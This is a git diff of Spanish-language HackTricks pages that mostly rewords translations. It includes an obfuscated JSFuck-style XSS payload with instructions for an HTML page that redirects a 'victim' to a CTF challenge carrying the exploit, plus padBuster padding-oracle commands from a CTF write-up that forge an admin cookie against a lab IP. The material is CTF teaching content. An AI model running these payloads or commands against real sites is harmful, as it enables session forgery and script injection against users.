+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[[]/e+e][0][1]+[[][[]]+e][0][5]+[[][[]]+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[e+e][0][27]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][43]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[/e/+e][0][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]]}` -``` -Entonces, necesitas **generar una página HTML** que, al cargarse, va a **redirigir** a la víctima a la página del **desafío estableciendo el exploit en el formulario captcha**. El siguiente código se puede usar para este propósito (_nota que el exploit está codificado en URL_): +e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e +Entonces, necesitas **generar una página HTML** que, al cargarse, va a **redirigir** a la víctima a la página del **reto** **configurando el exploit en el formulario captcha**. El siguiente código puede ser utilizado para este propósito (_nota que el exploit está codificado en URL_): ```markup - - - -
- - -
- - + + + +
+ + +```html + +
+ + ``` -Finalmente, **sirve el poc en un servidor HTTP** y accede a él desde el navegador:\\ +Finalmente, **sirva el poc en un servidor HTTP** y acceda desde el navegador:\\ ![](https://i.imgur.com/qack7GO.png) -Simplemente presiona **submit** en el formulario de captcha y se ejecutará la alerta: +Simplemente presione **submit** en el formulario de captcha y se ejecutará la alerta: ![](https://i.imgur.com/mCORty3.png) @@ -170,9 +171,9 @@ Simplemente presiona **submit** en el formulario de captcha y se ejecutará la a ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md index 6da8b7ccc..03e1ce746 100644 --- a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md +++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md @@ -5,9 +5,9 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. @@ -32,11 +32,15 @@ Y si cambias algún **byte** de la **cookie** obtienes este error: ![](<../../.gitbook/assets/image (247).png>) -Con esta información y [**leyendo la vulnerabilidad de oráculo de relleno**](../../cryptography/padding-oracle-priv.md) pude explotarla: +Con esta información y [**leyendo la vulnerabilidad del oráculo de relleno**](../../cryptography/padding-oracle-priv.md) pude explotarla: ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" ``` -**Establecer usuario como administrador:** +![](<../../.gitbook/assets/image (248).png>) + +![](<../../.gitbook/assets/image (249) (1).png>) + +**Establecer usuario admin:** ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin" ``` @@ -47,9 +51,9 @@ perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index ddaf412d5..7b80ceb1d 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -5,10 +5,10 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. @@ -20,7 +20,7 @@ ## Análisis de Malware -Este **no es necesariamente el primer paso a realizar una vez que se tiene la imagen**. Pero se pueden utilizar estas técnicas de análisis de malware de forma independiente si se tiene un archivo, una imagen del sistema de archivos, una imagen de memoria, pcap... por lo que es bueno **tener en cuenta estas acciones**: +Este **no es necesariamente el primer paso a realizar una vez que tienes la imagen**. Pero puedes utilizar estas técnicas de análisis de malware de forma independiente si tienes un archivo, una imagen del sistema de archivos, una imagen de memoria, un pcap... por lo que es bueno **tener en cuenta estas acciones**: {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) @@ -28,7 +28,7 @@ Este **no es necesariamente el primer paso a realizar una vez que se tiene la im ## Inspección de una Imagen -Si se tiene una **imagen forense** de un dispositivo, se puede comenzar a **analizar las particiones, el sistema de archivos** utilizado y **recuperar** archivos potencialmente **interesantes** (incluso los eliminados). Aprende cómo hacerlo en: +Si te dan una **imagen forense** de un dispositivo, puedes comenzar a **analizar las particiones, el sistema de archivos** utilizado y **recuperar** archivos potencialmente **interesantes** (incluso los eliminados). Aprende cómo hacerlo en: {% content-ref url="partitions-file-systems-carving/" %} [partitions-file-systems-carving](partitions-file-systems-carving/) @@ -50,7 +50,7 @@ Dependiendo de los sistemas operativos utilizados e incluso de la plataforma, se ## Inspección Profunda de Tipos de Archivos y Software Específicos -Si se tiene un archivo muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, pueden ser útiles varios **trucos**.\ +Si tienes un **archivo muy sospechoso**, entonces, **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\ Lee la siguiente página para aprender algunos trucos interesantes: {% content-ref url="specific-software-file-type-tricks/" %} @@ -94,9 +94,9 @@ Ten en cuenta el posible uso de técnicas anti-forense: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index c0e076f1e..920d451d0 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,14 +1,14 @@
-Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)! +Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red de HackTricks en AWS)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y 